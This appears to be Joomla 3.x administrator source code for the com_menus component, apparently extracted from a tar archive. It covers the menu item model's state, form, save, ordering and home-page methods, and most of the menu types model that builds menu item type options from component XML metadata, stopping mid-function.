	 * @since   3.4
	 */
	public function getViewLevels()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Get all the available view levels
		$query->select($db->quoteName('id'))
			->select($db->quoteName('title'))
			->from($db->quoteName('#__viewlevels'))
			->order($db->quoteName('id'));

		$db->setQuery($query);

		try
		{
			$result = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return $result;
	}

	/**
	 * A protected method to get the where clause for the reorder.
	 * This ensures that the row will be moved relative to a row with the same menutype.
	 *
	 * @param   JTableMenu  $table  instance.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return array('menutype = ' . $this->_db->quote($table->get('menutype')));
	}

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   string  $type    The table type to instantiate.
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable|JTableNested  A database object.
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Menu', $prefix = 'MenusTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState('item.id', $pk);

		if (!($parentId = $app->getUserState('com_menus.edit.item.parent_id')))
		{
			$parentId = $app->input->getInt('parent_id');
		}

		$this->setState('item.parent_id', $parentId);

		$menuType = $app->getUserStateFromRequest('com_menus.items.menutype', 'menutype', '', 'string');

		// If we have a menutype we take client_id from there, unless forced otherwise
		if ($menuType)
		{
			$menuTypeObj = $this->getMenuType($menuType);

			// An invalid menutype will be handled as clientId = 0 and menuType = ''
			$menuType   = (string) $menuTypeObj->menutype;
			$menuTypeId = (int) $menuTypeObj->client_id;
			$clientId   = (int) $menuTypeObj->client_id;
		}
		else
		{
			$menuTypeId = 0;
			$clientId   = $app->getUserState('com_menus.items.client_id', 0);
		}

		// Forced client id will override/clear menuType if conflicted
		$forcedClientId = $app->input->get('client_id', null, 'string');

		// Current item if not new, we don't allow changing client id at all
		if ($pk)
		{
			$table = $this->getTable();
			$table->load($pk);
			$forcedClientId = $table->get('client_id', $forcedClientId);
		}

		if (isset($forcedClientId) && $forcedClientId != $clientId)
		{
			$clientId   = $forcedClientId;
			$menuType   = '';
			$menuTypeId = 0;
		}

		// Set the menu type and client id on the list view state, so we return to this menu after saving.
		$app->setUserState('com_menus.items.menutype', $menuType);
		$app->setUserState('com_menus.items.client_id', $clientId);

		$this->setState('item.menutype', $menuType);
		$this->setState('item.client_id', $clientId);
		$this->setState('item.menutypeid', $menuTypeId);

		if (!($type = $app->getUserState('com_menus.edit.item.type')))
		{
			$type = $app->input->get('type');

			/**
			 * Note: a new menu item will have no field type.
			 * The field is required so the user has to change it.
			 */
		}

		$this->setState('item.type', $type);

		if ($link = $app->getUserState('com_menus.edit.item.link'))
		{
			$this->setState('item.link', $link);
		}

		// Load the parameters.
		$params = JComponentHelper::getParams('com_menus');
		$this->setState('params', $params);
	}

	/**
	 * Loads the menutype object by a given menutype string
	 *
	 * @param   string  $menutype  The given menutype
	 *
	 * @return  stdClass
	 *
	 * @since   3.7.0
	 */
	protected function getMenuType($menutype)
	{
		$table = $this->getTable('MenuType', 'JTable');

		$table->load(array('menutype' => $menutype));

		return (object) $table->getProperties();
	}

	/**
	 * Loads the menutype ID by a given menutype string
	 *
	 * @param   string  $menutype  The given menutype
	 *
	 * @return  integer
	 *
	 * @since   3.6
	 */
	protected function getMenuTypeId($menutype)
	{
		$menu = $this->getMenuType($menutype);

		return (int) $menu->id;
	}

	/**
	 * Method to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$link     = $this->getState('item.link');
		$type     = $this->getState('item.type');
		$clientId = $this->getState('item.client_id');
		$formFile = false;

		// Load the specific type file
		$typeFile   = $clientId == 1 ? 'itemadmin_' . $type : 'item_' . $type;
		$clientInfo = JApplicationHelper::getClientInfo($clientId);

		// Initialise form with component view params if available.
		if ($type == 'component')
		{
			$link = htmlspecialchars_decode($link);

			// Parse the link arguments.
			$args = array();
			parse_str(parse_url(htmlspecialchars_decode($link), PHP_URL_QUERY), $args);

			// Confirm that the option is defined.
			$option = '';
			$base = '';

			if (isset($args['option']))
			{
				// The option determines the base path to work with.
				$option = $args['option'];
				$base = $clientInfo->path . '/components/' . $option;
			}

			if (isset($args['view']))
			{
				$view = $args['view'];

				// Determine the layout to search for.
				if (isset($args['layout']))
				{
					$layout = $args['layout'];
				}
				else
				{
					$layout = 'default';
				}

				// Check for the layout XML file. Use standard xml file if it exists.
				$tplFolders = array(
					$base . '/views/' . $view . '/tmpl',
					$base . '/view/' . $view . '/tmpl'
				);
				$path = JPath::find($tplFolders, $layout . '.xml');

				if (is_file($path))
				{
					$formFile = $path;
				}

				// If custom layout, get the xml file from the template folder
				// template folder is first part of file name -- template:folder
				if (!$formFile && (strpos($layout, ':') > 0))
				{
					list($altTmpl, $altLayout) = explode(':', $layout);

					$templatePath = JPath::clean($clientInfo->path . '/templates/' . $altTmpl . '/html/' . $option . '/' . $view . '/' . $altLayout . '.xml');

					if (is_file($templatePath))
					{
						$formFile = $templatePath;
					}
				}
			}

			// Now check for a view manifest file
			if (!$formFile)
			{
				if (isset($view))
				{
					$metadataFolders = array(
						$base . '/view/' . $view,
						$base . '/views/' . $view
					);
					$metaPath = JPath::find($metadataFolders, 'metadata.xml');

					if (is_file($path = JPath::clean($metaPath)))
					{
						$formFile = $path;
					}
				}
				elseif ($base)
				{
					// Now check for a component manifest file
					$path = JPath::clean($base . '/metadata.xml');

					if (is_file($path))
					{
						$formFile = $path;
					}
				}
			}
		}

		if ($formFile)
		{
			// If an XML file was found in the component, load it first.
			// We need to qualify the full path to avoid collisions with component file names.

			if ($form->loadFile($formFile, true, '/metadata') == false)
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}

			// Attempt to load the xml file.
			if (!$xml = simplexml_load_file($formFile))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}

			// Get the help data from the XML file if present.
			$help = $xml->xpath('/metadata/layout/help');
		}
		else
		{
			// We don't have a component. Load the form XML to get the help path
			$xmlFile = JPath::find(JPATH_ADMINISTRATOR . '/components/com_menus/models/forms', $typeFile . '.xml');

			if ($xmlFile)
			{
				if (!$xml = simplexml_load_file($xmlFile))
				{
					throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
				}

				// Get the help data from the XML file if present.
				$help = $xml->xpath('/form/help');
			}
		}

		if (!empty($help))
		{
			$helpKey = trim((string) $help[0]['key']);
			$helpURL = trim((string) $help[0]['url']);
			$helpLoc = trim((string) $help[0]['local']);

			$this->helpKey = $helpKey ?: $this->helpKey;
			$this->helpURL = $helpURL ?: $this->helpURL;
			$this->helpLocal = (($helpLoc == 'true') || ($helpLoc == '1') || ($helpLoc == 'local')) ? true : false;
		}

		if (!$form->loadFile($typeFile, true, false))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		// Association menu items, we currently do not support this for admin menu… may be later
		if ($clientId == 0 && JLanguageAssociations::isEnabled())
		{
			$languages = JLanguageHelper::getContentLanguages(false, true, null, 'ordering', 'asc');

			if (count($languages) > 1)
			{
				$addform = new SimpleXMLElement('<form />');
				$fields = $addform->addChild('fields');
				$fields->addAttribute('name', 'associations');
				$fieldset = $fields->addChild('fieldset');
				$fieldset->addAttribute('name', 'item_associations');

				foreach ($languages as $language)
				{
					$field = $fieldset->addChild('field');
					$field->addAttribute('name', $language->lang_code);
					$field->addAttribute('type', 'modal_menu');
					$field->addAttribute('language', $language->lang_code);
					$field->addAttribute('label', $language->title);
					$field->addAttribute('translate_label', 'false');
					$field->addAttribute('select', 'true');
					$field->addAttribute('new', 'true');
					$field->addAttribute('edit', 'true');
					$field->addAttribute('clear', 'true');
					$field->addAttribute('propagate', 'true');
					$option = $field->addChild('option', 'COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE');
					$option->addAttribute('value', '');
				}

				$form->load($addform, false);
			}
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method rebuild the entire nested set tree.
	 *
	 * @return  boolean|JException  Boolean true on success, boolean false or JException instance on error
	 *
	 * @since   1.6
	 */
	public function rebuild()
	{
		// Initialise variables.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$table = $this->getTable();

		try
		{
			$rebuildResult = $table->rebuild();
		}
		catch (Exception $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		if (!$rebuildResult)
		{
			$this->setError($table->getError());

			return false;
		}

		$query->select('id, params')
			->from('#__menu')
			->where('params NOT LIKE ' . $db->quote('{%'))
			->where('params <> ' . $db->quote(''));
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return JError::raiseWarning(500, $e->getMessage());
		}

		foreach ($items as &$item)
		{
			$registry = new Registry($item->params);
			$params = (string) $registry;

			$query->clear();
			$query->update('#__menu')
				->set('params = ' . $db->quote($params))
				->where('id = ' . $item->id);

			try
			{
				$db->setQuery($query)->execute();
			}
			catch (RuntimeException $e)
			{
				return JError::raiseWarning(500, $e->getMessage());
			}

			unset($registry);
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$pk         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('item.id');
		$isNew      = true;
		$table   = $this->getTable();
		$context = $this->option . '.' . $this->name;

		// Include the plugins for the on save events.
		JPluginHelper::importPlugin($this->events_map['save']);

		// Load the row if saving an existing item.
		if ($pk > 0)
		{
			$table->load($pk);
			$isNew = false;
		}

		if (!$isNew)
		{
			if ($table->parent_id == $data['parent_id'])
			{
				// If first is chosen make the item the first child of the selected parent.
				if ($data['menuordering'] == -1)
				{
					$table->setLocation($data['parent_id'], 'first-child');
				}
				// If last is chosen make it the last child of the selected parent.
				elseif ($data['menuordering'] == -2)
				{
					$table->setLocation($data['parent_id'], 'last-child');
				}
				// Don't try to put an item after itself. All other ones put after the selected item.
				// $data['id'] is empty means it's a save as copy
				elseif ($data['menuordering'] && $table->id != $data['menuordering'] || empty($data['id']))
				{
					$table->setLocation($data['menuordering'], 'after');
				}
				// Just leave it where it is if no change is made.
				elseif ($data['menuordering'] && $table->id == $data['menuordering'])
				{
					unset($data['menuordering']);
				}
			}
			// Set the new parent id if parent id not matched and put in last position
			else
			{
				$table->setLocation($data['parent_id'], 'last-child');
			}
		}
		// We have a new item, so it is not a change.
		else
		{
			$menuType = $this->getMenuType($data['menutype']);

			$data['client_id'] = $menuType->client_id;

			$table->setLocation($data['parent_id'], 'last-child');
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Alter the title & alias for save as copy.  Also, unset the home record.
		if (!$isNew && $data['id'] == 0)
		{
			list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title);

			$table->title     = $title;
			$table->alias     = $alias;
			$table->published = 0;
			$table->home      = 0;
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, $isNew));

		// Store the data.
		if (in_array(false, $result, true)|| !$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array($context, &$table, $isNew));

		// Rebuild the tree path.
		if (!$table->rebuildPath($table->id))
		{
			$this->setError($table->getError());

			return false;
		}

		$this->setState('item.id', $table->id);
		$this->setState('item.menutype', $table->menutype);

		// Load associated menu items, for now not supported for admin menu… may be later
		if ($table->get('client_id') == 0 && JLanguageAssociations::isEnabled())
		{
			// Adding self to the association
			$associations = isset($data['associations']) ? $data['associations'] : array();

			// Unset any invalid associations
			$associations = Joomla\Utilities\ArrayHelper::toInteger($associations);

			foreach ($associations as $tag => $id)
			{
				if (!$id)
				{
					unset($associations[$tag]);
				}
			}

			// Detecting all item menus
			$all_language = $table->language == '*';

			if ($all_language && !empty($associations))
			{
				JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED'));
			}

			// Get associationskey for edited item
			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('key'))
				->from($db->quoteName('#__associations'))
				->where($db->quoteName('context') . ' = ' . $db->quote($this->associationsContext))
				->where($db->quoteName('id') . ' = ' . (int) $table->id);
			$db->setQuery($query);
			$old_key = $db->loadResult();

			// Deleting old associations for the associated items
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__associations'))
				->where($db->quoteName('context') . ' = ' . $db->quote($this->associationsContext));

			if ($associations)
			{
				$query->where('(' . $db->quoteName('id') . ' IN (' . implode(',', $associations) . ') OR '
					. $db->quoteName('key') . ' = ' . $db->quote($old_key) . ')'
				);
			}
			else
			{
				$query->where($db->quoteName('key') . ' = ' . $db->quote($old_key));
			}

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			// Adding self to the association
			if (!$all_language)
			{
				$associations[$table->language] = (int) $table->id;
			}

			if (count($associations) > 1)
			{
				// Adding new association for these items
				$key = md5(json_encode($associations));
				$query->clear()
					->insert('#__associations');

				foreach ($associations as $id)
				{
					$query->values(((int) $id) . ',' . $db->quote($this->associationsContext) . ',' . $db->quote($key));
				}

				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}
		}

		// Clean the cache
		$this->cleanCache();

		if (isset($data['link']))
		{
			$base = JUri::base();
			$juri = JUri::getInstance($base . $data['link']);
			$option = $juri->getVar('option');

			// Clean the cache
			parent::cleanCache($option);
		}

		if (Factory::getApplication()->input->get('task') == 'editAssociations')
		{
			return $this->redirectToAssociations($data);
		}

		return true;
	}

	/**
	 * Method to save the reordered nested set tree.
	 * First we save the new order values in the lft values of the changed ids.
	 * Then we invoke the table rebuild to implement the new ordering.
	 *
	 * @param   array  $idArray   Rows identifiers to be reordered
	 * @param   array  $lftArray  lft values of rows to be reordered
	 *
	 * @return  boolean false on failure or error, true otherwise.
	 *
	 * @since   1.6
	 */
	public function saveorder($idArray = null, $lftArray = null)
	{
		// Get an instance of the table object.
		$table = $this->getTable();

		if (!$table->saveorder($idArray, $lftArray))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the home state of one or more items.
	 *
	 * @param   array    $pks    A list of the primary keys to change.
	 * @param   integer  $value  The value of the home state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function setHome(&$pks, $value = 1)
	{
		$table = $this->getTable();
		$pks = (array) $pks;

		$languages = array();
		$onehome = false;

		// Remember that we can set a home page for different languages,
		// so we need to loop through the primary key array.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if (!array_key_exists($table->language, $languages))
				{
					$languages[$table->language] = true;

					if ($table->home == $value)
					{
						unset($pks[$i]);
						JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALREADY_HOME'));
					}
					elseif ($table->menutype == 'main')
					{
						// Prune items that you can't change.
						unset($pks[$i]);
						JError::raiseWarning(403, JText::_('COM_MENUS_ERROR_MENUTYPE_HOME'));
					}
					else
					{
						$table->home = $value;

						if ($table->language == '*')
						{
							$table->published = 1;
						}

						if (!$this->canSave($table))
						{
							// Prune items that you can't change.
							unset($pks[$i]);
							JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
						}
						elseif (!$table->check())
						{
							// Prune the items that failed pre-save checks.
							unset($pks[$i]);
							JError::raiseWarning(403, $table->getError());
						}
						elseif (!$table->store())
						{
							// Prune the items that could not be stored.
							unset($pks[$i]);
							JError::raiseWarning(403, $table->getError());
						}
					}
				}
				else
				{
					unset($pks[$i]);

					if (!$onehome)
					{
						$onehome = true;
						JError::raiseNotice(403, JText::sprintf('COM_MENUS_ERROR_ONE_HOME'));
					}
				}
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    $pks    A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function publish(&$pks, $value = 1)
	{
		$table = $this->getTable();
		$pks   = (array) $pks;

		// Default menu item existence checks.
		if ($value != 1)
		{
			foreach ($pks as $i => $pk)
			{
				if ($table->load($pk) && $table->home && $table->language == '*')
				{
					// Prune items that you can't change.
					JError::raiseWarning(403, JText::_('JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME'));
					unset($pks[$i]);
					break;
				}
			}
		}

		// Clean the cache
		$this->cleanCache();

		// Ensure that previous checks doesn't empty the array
		if (empty($pks))
		{
			return true;
		}

		return parent::publish($pks, $value);
	}

	/**
	 * Method to change the title & alias.
	 *
	 * @param   integer  $parentId  The id of the parent.
	 * @param   string   $alias     The alias.
	 * @param   string   $title     The title.
	 *
	 * @return  array  Contains the modified title and alias.
	 *
	 * @since   1.6
	 */
	protected function generateNewTitle($parentId, $alias, $title)
	{
		// Alter the title & alias
		$table = $this->getTable();

		while ($table->load(array('alias' => $alias, 'parent_id' => $parentId)))
		{
			if ($title == $table->title)
			{
				$title = StringHelper::increment($title);
			}

			$alias = StringHelper::increment($alias, 'dash');
		}

		return array($title, $alias);
	}

	/**
	 * Custom clean the cache
	 *
	 * @param   string   $group     Cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_menus', 0);
		parent::cleanCache('com_modules');
		parent::cleanCache('mod_menu', 0);
		parent::cleanCache('mod_menu', 1);
	}
}
com_menus/models/menutypes.php000060400000036050152455305260012565 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.path');
/**
 * Menu Item Types Model for Menus.
 *
 * @since  1.6
 */
class MenusModelMenutypes extends JModelLegacy
{
	/**
	 * A reverse lookup of the base link URL to Title
	 *
	 * @var  array
	 */
	protected $rlu = array();

	/**
	 * Method to auto-populate the model state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the model
	 * configuration flag to ignore the request is set.
	 *
	 * @return  void
	 *
	 * @note    Calling getState in this method will result in recursion.
	 * @since   3.0.1
	 */
	protected function populateState()
	{
		parent::populateState();

		$app      = JFactory::getApplication();
		$clientId = $app->input->get('client_id', 0);

		$this->state->set('client_id', $clientId);
	}

	/**
	 * Method to get the reverse lookup of the base link URL to Title
	 *
	 * @return  array  Array of reverse lookup of the base link URL to Title
	 *
	 * @since   1.6
	 */
	public function getReverseLookup()
	{
		if (empty($this->rlu))
		{
			$this->getTypeOptions();
		}

		return $this->rlu;
	}

	/**
	 * Method to get the available menu item type options.
	 *
	 * @return  array  Array of groups with menu item types.
	 *
	 * @since   1.6
	 */
	public function getTypeOptions()
	{
		jimport('joomla.filesystem.file');

		$lang = JFactory::getLanguage();
		$list = array();

		// Get the list of components.
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('name, element AS ' . $db->quoteName('option'))
			->from('#__extensions')
			->where('type = ' . $db->quote('component'))
			->where('enabled = 1')
			->order('name ASC');
		$db->setQuery($query);
		$components = $db->loadObjectList();

		foreach ($components as $component)
		{
			$options = $this->getTypeOptionsByComponent($component->option);

			if ($options)
			{
				$list[$component->name] = $options;

				// Create the reverse lookup for link-to-name.
				foreach ($options as $option)
				{
					if (isset($option->request))
					{
						$this->addReverseLookupUrl($option);

						if (isset($option->request['option']))
						{
							$componentLanguageFolder = JPATH_ADMINISTRATOR . '/components/' . $option->request['option'];
							$lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR, null, false, true)
								||	$lang->load($option->request['option'] . '.sys', $componentLanguageFolder, null, false, true);
						}
					}
				}
			}
		}

		// Allow a system plugin to insert dynamic menu types to the list shown in menus:
		JEventDispatcher::getInstance()->trigger('onAfterGetMenuTypeOptions', array(&$list, $this));

		return $list;
	}

	/**
	 * Method to create the reverse lookup for link-to-name.
	 * (can be used from onAfterGetMenuTypeOptions handlers)
	 *
	 * @param   JObject  $option  with request array or string and title public variables
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function addReverseLookupUrl($option)
	{
		$this->rlu[MenusHelper::getLinkKey($option->request)] = $option->get('title');
	}

	/**
	 * Get menu types by component.
	 *
	 * @param   string  $component  Component URL option.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	protected function getTypeOptionsByComponent($component)
	{
		$options = array();
		$client  = JApplicationHelper::getClientInfo($this->getState('client_id'));
		$mainXML = $client->path . '/components/' . $component . '/metadata.xml';

		if (is_file($mainXML))
		{
			$options = $this->getTypeOptionsFromXml($mainXML, $component);
		}

		if (empty($options))
		{
			$options = $this->getTypeOptionsFromMvc($component);
		}

		if ($client->id == 1 && empty($options))
		{
			$options = $this->getTypeOptionsFromManifest($component);
		}

		return $options;
	}

	/**
	 * Get the menu types from an XML file
	 *
	 * @param   string  $file       File path
	 * @param   string  $component  Component option as in URL
	 *
	 * @return  array|boolean
	 *
	 * @since   1.6
	 */
	protected function getTypeOptionsFromXml($file, $component)
	{
		$options = array();

		// Attempt to load the xml file.
		if (!$xml = simplexml_load_file($file))
		{
			return false;
		}

		// Look for the first menu node off of the root node.
		if (!$menu = $xml->xpath('menu[1]'))
		{
			return false;
		}
		else
		{
			$menu = $menu[0];
		}

		// If we have no options to parse, just add the base component to the list of options.
		if (!empty($menu['options']) && $menu['options'] == 'none')
		{
			// Create the menu option for the component.
			$o = new JObject;
			$o->title       = (string) $menu['name'];
			$o->description = (string) $menu['msg'];
			$o->request     = array('option' => $component);

			$options[] = $o;

			return $options;
		}

		// Look for the first options node off of the menu node.
		if (!$optionsNode = $menu->xpath('options[1]'))
		{
			return false;
		}
		else
		{
			$optionsNode = $optionsNode[0];
		}

		// Make sure the options node has children.
		if (!$children = $optionsNode->children())
		{
			return false;
		}

		// Process each child as an option.
		foreach ($children as $child)
		{
			if ($child->getName() == 'option')
			{
				// Create the menu option for the component.
				$o = new JObject;
				$o->title       = (string) $child['name'];
				$o->description = (string) $child['msg'];
				$o->request     = array('option' => $component, (string) $optionsNode['var'] => (string) $child['value']);

				$options[] = $o;
			}
			elseif ($child->getName() == 'default')
			{
				// Create the menu option for the component.
				$o = new JObject;
				$o->title       = (string) $child['name'];
				$o->description = (string) $child['msg'];
				$o->request     = array('option' => $component);

				$options[] = $o;
			}
		}

		return $options;
	}

	/**
	 * Get menu types from MVC
	 *
	 * @param   string  $component  Component option like in URLs
	 *
	 * @return  array|boolean
	 *
	 * @since   1.6
	 */
	protected function getTypeOptionsFromMvc($component)
	{
		$options = array();
		$client  = JApplicationHelper::getClientInfo($this->getState('client_id'));

		// Get the views for this component.
		if (is_dir($client->path . '/components/' . $component))
		{
			$folders = JFolder::folders($client->path . '/components/' . $component, '^view[s]?$', false, true);
		}

		$path = '';

		if (!empty($folders[0]))
		{
			$path = $folders[0];
		}

		if (is_dir($path))
		{
			$views = JFolder::folders($path);
		}
		else
		{
			return false;
		}

		foreach ($views as $view)
		{
			// Ignore private views.
			if (strpos($view, '_') !== 0)
			{
				// Determine if a metadata file exists for the view.
				$file = $path . '/' . $view . '/metadata.xml';

				if (is_file($file))
				{
					// Attempt to load the xml file.
					if ($xml = simplexml_load_file($file))
					{
						// Look for the first view node off of the root node.
						if ($menu = $xml->xpath('view[1]'))
						{
							$menu = $menu[0];

							// If the view is hidden from the menu, discard it and move on to the next view.
							if (!empty($menu['hidden']) && $menu['hidden'] == 'true')
							{
								unset($xml);
								continue;
							}

							// Do we have an options node or should we process layouts?
							// Look for the first options node off of the menu node.
							if ($optionsNode = $menu->xpath('options[1]'))
							{
								$optionsNode = $optionsNode[0];

								// Make sure the options node has children.
								if ($children = $optionsNode->children())
								{
									// Process each child as an option.
									foreach ($children as $child)
									{
										if ($child->getName() == 'option')
										{
											// Create the menu option for the component.
											$o = new JObject;
											$o->title       = (string) $child['name'];
											$o->description = (string) $child['msg'];
											$o->request     = array('option' => $component, 'view' => $view, (string) $optionsNode['var'] => (string) $child['value']);

											$options[] = $o;
										}
										elseif ($child->getName() == 'default')
										{
											// Create the menu option for the component.
											$o = new JObject;
											$o->title       = (string) $child['name'];
											$o->description = (string) $child['msg'];
											$o->request     = array('option' => $component, 'view' => $view);

											$options[] = $o;
										}
									}
								}
							}
							else
							{
								$options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view));
							}
						}

						unset($xml);
					}
				}
				else
				{
					$options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view));
				}
			}
		}

		return $options;
	}

	/**
	 * Get menu types from Component manifest
	 *
	 * @param   string  $component  Component option like in URLs
	 *
	 * @return  array|boolean
	 *
	 * @since   3.7.0
	 */
	protected function getTypeOptionsFromManifest($component)
	{
		// Load the component manifest
		$fileName = JPATH_ADMINISTRATOR . '/components/' . $component . '/' . str_replace('com_', '', $component) . '.xml';

		if (!is_file($fileName))
		{
			return false;
		}

		if (!($manifest = simplexml_load_file($fileName)))
		{
			return false;
		}

		// Check for a valid XML root tag.
		if ($manifest->getName() != 'extension')
		{
			return false;
		}

		$options = array();

		// Start with the component root menu.
		$rootMenu = $manifest->administration->menu;

		// If the menu item doesn't exist or is hidden do nothing.
		if (!$rootMenu || in_array((string) $rootMenu['hidden'], array('true', 'hidden')))
		{
			return $options;
		}

		// Create the root menu option.
		$ro = new stdClass;
		$ro->title       = (string) trim($rootMenu);
		$ro->description = '';
		$ro->request     = array('option' => $component);

		// Process submenu options.
		$submenu = $manifest->administration->submenu;

		if (!$submenu)
		{
			return $options;
		}

		foreach ($submenu->menu as $child)
		{
			$attributes = $child->attributes();

			$o = new stdClass;
			$o->title       = (string) trim($child);
			$o->description = '';

			if ((string) $attributes->link)
			{
				parse_str((string) $attributes->link, $request);
			}
			else
			{
				$request = array();

				$request['option']     = $component;
				$request['act']        = (string) $attributes->act;
				$request['task']       = (string) $attributes->task;
				$request['controller'] = (string) $attributes->controller;
				$request['view']       = (string) $attributes->view;
				$request['layout']     = (string) $attributes->layout;
				$request['sub']        = (string) $attributes->sub;
			}

			$o->request = array_filter($request, 'strlen');
			$options[]  = new JObject($o);

			// Do not repeat the default view link (index.php?option=com_abc).
			if (count($o->request) == 1)
			{
				$ro = null;
			}
		}

		if ($ro)
		{
			$options[] = new JObject($ro);
		}

		return $options;
	}

	/**
	 * Get the menu types from component layouts
	 *
	 * @param   string  $component  Component option as in URLs
	 * @param   string  $view       Name of the view
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	protected function getTypeOptionsFromLayouts($component, $view)
	{
		$options     = array();
		$layouts     = array();
		$layoutNames = array();
		$lang        = JFactory::getLanguage();
		$path        = '';
		$client      = JApplicationHelper::getClientInfo($this->getState('client_id'));

		// Get the views for this component.
		if (is_dir($client->path . '/components/' . $component))
		{
			$folders = JFolder::folders($client->path . '/components/' . $component, '^view[s]?$', false, true);
		}

		if (!empty($folders[0]))
		{
			$path = $folders[0] . '/' . $view . '/tmpl';
		}

		if (is_dir($path))
		{
			$layouts = array_merge($layouts, JFolder::files($path, '.xml$', false, true));
		}
		else
		{
			return $options;
		}

		// Build list of standard layout names
		foreach ($layouts as $layout)
		{
			// Ignore private layouts.
			if (strpos(basename($layout), '_') === false)
			{
				// Get the layout name.
				$layoutNames[] = basename($layout, '.xml');
			}
		}

		// Get the template layouts
		// TODO: This should only search one template -- the current template for this item (default of specified)
		$folders = JFolder::folders($client->path . '/templates', '', false, true);

		// Array to hold association between template file names and templates
		$templateName = array();

		foreach ($folders as $folder)
		{
			if (is_dir($folder . '/html/' . $component . '/' . $view))
			{
				$template = basename($folder);
				$lang->load('tpl_' . $template . '.sys', $client->path, null, false, true)
				|| $lang->load('tpl_' . $template . '.sys', $client->path . '/templates/' . $template, null, false, true);

				$templateLayouts = JFolder::files($folder . '/html/' . $component . '/' . $view, '.xml$', false, true);

				foreach ($templateLayouts as $layout)
				{
					// Get the layout name.
					$templateLayoutName = basename($layout, '.xml');

					// Add to the list only if it is not a standard layout
					if (array_search($templateLayoutName, $layoutNames) === false)
					{
						$layouts[] = $layout;

						// Set template name array so we can get the right template for the layout
						$templateName[$layout] = basename($folder);
					}
				}
			}
		}

		// Process the found layouts.
		foreach ($layouts as $layout)
		{
			// Ignore private layouts.
			if (strpos(basename($layout), '_') === false)
			{
				$file = $layout;

				// Get the layout name.
				$layout = basename($layout, '.xml');

				// Create the menu option for the layout.
				$o = new JObject;
				$o->title       = ucfirst($layout);
				$o->description = '';
